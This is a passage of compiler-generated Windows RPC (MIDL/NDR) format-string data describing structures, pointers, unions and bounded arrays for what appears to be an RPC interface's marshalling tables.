*/\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 714 */\tNdrFcShort( 0xff46 ),\t/* Offset= -186 (528) */\n/* 716 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 718 */\tNdrFcShort( 0x80 ),\t/* 128 */\n/* 720 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 722 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (754) */\n/* 724 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 726 */\tNdrFcShort( 0xfd36 ),\t/* Offset= -714 (12) */\n/* 728 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 730 */\tNdrFcShort( 0xfd32 ),\t/* Offset= -718 (12) */\n/* 732 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 734 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfe73 ),\t/* Offset= -397 (338) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 738 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 740 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 742 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 744 */\tNdrFcShort( 0xff92 ),\t/* Offset= -110 (634) */\n/* 746 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 748 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 750 */\tNdrFcShort( 0xfecc ),\t/* Offset= -308 (442) */\n/* 752 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 754 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 756 */\tNdrFcShort( 0xfdae ),\t/* Offset= -594 (162) */\n/* 758 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 760 */\tNdrFcShort( 0xfef6 ),\t/* Offset= -266 (494) */\n/* 762 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 764 */\tNdrFcShort( 0xff14 ),\t/* Offset= -236 (528) */\n/* 766 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 768 */\tNdrFcShort( 0xff10 ),\t/* Offset= -240 (528) */\n/* 770 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 772 */\tNdrFcShort( 0x88 ),\t/* 136 */\n/* 774 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 776 */\tNdrFcShort( 0x22 ),\t/* Offset= 34 (810) */\n/* 778 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 780 */\tNdrFcShort( 0xfd00 ),\t/* Offset= -768 (12) */\n/* 782 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 784 */\tNdrFcShort( 0xfcfc ),\t/* Offset= -772 (12) */\n/* 786 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 788 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfe3d ),\t/* Offset= -451 (338) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 792 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 794 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 796 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 798 */\tNdrFcShort( 0xff5c ),\t/* Offset= -164 (634) */\n/* 800 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 802 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 804 */\tNdrFcShort( 0xfe96 ),\t/* Offset= -362 (442) */\n/* 806 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 808 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 810 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 812 */\tNdrFcShort( 0xfd76 ),\t/* Offset= -650 (162) */\n/* 814 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 816 */\tNdrFcShort( 0xfebe ),\t/* Offset= -322 (494) */\n/* 818 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 820 */\tNdrFcShort( 0xfedc ),\t/* Offset= -292 (528) */\n/* 822 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 824 */\tNdrFcShort( 0xfed8 ),\t/* Offset= -296 (528) */\n/* 826 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 828 */\tNdrFcShort( 0xa0 ),\t/* 160 */\n/* 830 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 832 */\tNdrFcShort( 0x26 ),\t/* Offset= 38 (870) */\n/* 834 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 836 */\tNdrFcShort( 0xfcc8 ),\t/* Offset= -824 (12) */\n/* 838 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 840 */\tNdrFcShort( 0xfcc4 ),\t/* Offset= -828 (12) */\n/* 842 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 844 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfe05 ),\t/* Offset= -507 (338) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 848 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 850 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 852 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 854 */\tNdrFcShort( 0xff24 ),\t/* Offset= -220 (634) */\n/* 856 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 858 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 860 */\tNdrFcShort( 0xfe5e ),\t/* Offset= -418 (442) */\n/* 862 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 864 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfcab ),\t/* Offset= -853 (12) */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 868 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 870 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 872 */\tNdrFcShort( 0xfd3a ),\t/* Offset= -710 (162) */\n/* 874 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 876 */\tNdrFcShort( 0xfe82 ),\t/* Offset= -382 (494) */\n/* 878 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 880 */\tNdrFcShort( 0xfea0 ),\t/* Offset= -352 (528) */\n/* 882 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 884 */\tNdrFcShort( 0xfe9c ),\t/* Offset= -356 (528) */\n/* 886 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 888 */\tNdrFcShort( 0xfd6c ),\t/* Offset= -660 (228) */\n/* 890 */\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 892 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 894 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 896 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (898) */\n/* 898 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 900 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 902 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 904 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 906 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 908 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 912 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 916 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (918) */\n/* 918 */\tNdrFcShort( 0xa8 ),\t/* 168 */\n/* 920 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 922 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 926 */\tNdrFcShort( 0x140 ),\t/* Offset= 320 (1246) */\n/* 928 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 932 */\tNdrFcShort( 0x192 ),\t/* Offset= 402 (1334) */\n/* 934 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 938 */\tNdrFcShort( 0x21e ),\t/* Offset= 542 (1480) */\n/* 940 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 944 */\tNdrFcShort( 0x254 ),\t/* Offset= 596 (1540) */\n/* 946 */\tNdrFcLong( 0x9 ),\t/* 9 */\n/* 950 */\tNdrFcShort( 0x2b6 ),\t/* Offset= 694 (1644) */\n/* 952 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (951) */\n/* 954 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 956 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 958 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 960 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 962 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 964 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 966 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 970 */\tNdrFcLong( 0x1900000 ),\t/* 26214400 */\n/* 974 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 976 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 978 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 980 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 982 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (988) */\n/* 984 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 986 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 988 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 990 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (954) */\n/* 992 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 994 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 996 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 998 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1000 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 1002 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 1004 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1008 */\tNdrFcLong( 0xa00000 ),\t/* 10485760 */\n/* 1012 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1016 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1018 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 1020 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1024 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1028 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1030 */\tNdrFcShort( 0xffca ),\t/* Offset= -54 (976) */\n/* 1032 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1034 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1036 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1038 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1040 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1046) */\n/* 1042 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1044 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1046 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1048 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (992) */\n/* 1050 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1052 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1054 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1056 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1056) */\n/* 1058 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1060 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1062 */\tNdrFcShort( 0xffe4 ),\t/* Offset= -28 (1034) */\n/* 1064 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1066 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1068 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1070 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1072 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1074 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 1076 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 1078 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1082 */\tNdrFcLong( 0x100000 ),\t/* 1048576 */\n/* 1086 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1090 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1092 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 1094 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1098 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1102 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1104 */\tNdrFcShort( 0xffca ),\t/* Offset= -54 (1050) */\n/* 1106 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1108 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1110 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1112 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1114 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1120) */\n/* 1116 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1118 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1120 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1122 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1066) */\n/* 1124 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1126 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 1128 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1130 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1140) */\n/* 1132 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1134 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1136 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe3 ),\t/* Offset= -29 (1108) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1140 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1142 */\tNdrFcShort( 0xfc2c ),\t/* Offset= -980 (162) */\n/* 1144 */\t0xb1,\t\t/* FC_FORCED_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1146 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 1148 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1150 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1150) */\n/* 1152 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1154 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1156 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfb87 ),\t/* Offset= -1145 (12) */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 1160 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1162 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 1164 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1166 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1168 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1170 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 1172 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 1174 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1178 */\tNdrFcLong( 0x100000 ),\t/* 1048576 */\n/* 1182 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1186 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1188 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 1190 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1194 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1198 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1200 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1144) */\n/* 1202 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1204 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1206 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1208 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (1162) */\n/* 1210 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1210) */\n/* 1212 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1214 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1216 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1218 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1220 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1222 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (1234) */\n/* 1224 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1226 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff99 ),\t/* Offset= -103 (1124) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1230 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1232 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1234 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1236 */\tNdrFcShort( 0xffec ),\t/* Offset= -20 (1216) */\n/* 1238 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1240 */\tNdrFcShort( 0xfb34 ),\t/* Offset= -1228 (12) */\n/* 1242 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1244 */\tNdrFcShort( 0xffd8 ),\t/* Offset= -40 (1204) */\n/* 1246 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1248 */\tNdrFcShort( 0x90 ),\t/* 144 */\n/* 1250 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1252 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (1284) */\n/* 1254 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1256 */\tNdrFcShort( 0xfb24 ),\t/* Offset= -1244 (12) */\n/* 1258 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1260 */\tNdrFcShort( 0xfb20 ),\t/* Offset= -1248 (12) */\n/* 1262 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1264 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfc61 ),\t/* Offset= -927 (338) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1268 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfc5d ),\t/* Offset= -931 (338) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1272 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1274 */\tNdrFcShort( 0xfcc0 ),\t/* Offset= -832 (442) */\n/* 1276 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1278 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1280 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1282 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1284 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1286 */\tNdrFcShort( 0xfb9c ),\t/* Offset= -1124 (162) */\n/* 1288 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1290 */\tNdrFcShort( 0xfce4 ),\t/* Offset= -796 (494) */\n/* 1292 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1294 */\tNdrFcShort( 0xffb2 ),\t/* Offset= -78 (1216) */\n/* 1296 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1298 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1300 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1302 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 1304 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1306 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 1308 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1312 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1316 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1318 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1320 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1322 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1324 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1330) */\n/* 1326 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1328 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1330 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1332 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (1296) */\n/* 1334 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1336 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1338 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1340 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1340) */\n/* 1342 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1344 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (1318) */\n/* 1346 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1348 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1350 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 1352 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1354 */\tNdrFcShort( 0xfac2 ),\t/* Offset= -1342 (12) */\n/* 1356 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 1358 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1360 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 1362 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 1364 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1366 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1368 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 1370 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 1372 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1376 */\tNdrFcLong( 0x100000 ),\t/* 1048576 */\n/* 1380 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1382 */\tNdrFcShort( 0xffde ),\t/* Offset= -34 (1348) */\n/* 1384 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1386 */\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1388 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1390 */\tNdrFcShort( 0xffe2 ),\t/* Offset= -30 (1360) */\n/* 1392 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1394 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1396 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1398 */\t0xb1,\t\t/* FC_FORCED_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1400 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 1402 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1404 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1404) */\n/* 1406 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1408 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfef7 ),\t/* Offset= -265 (1144) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1412 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1414 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 1416 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1418 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (1434) */\n/* 1420 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1422 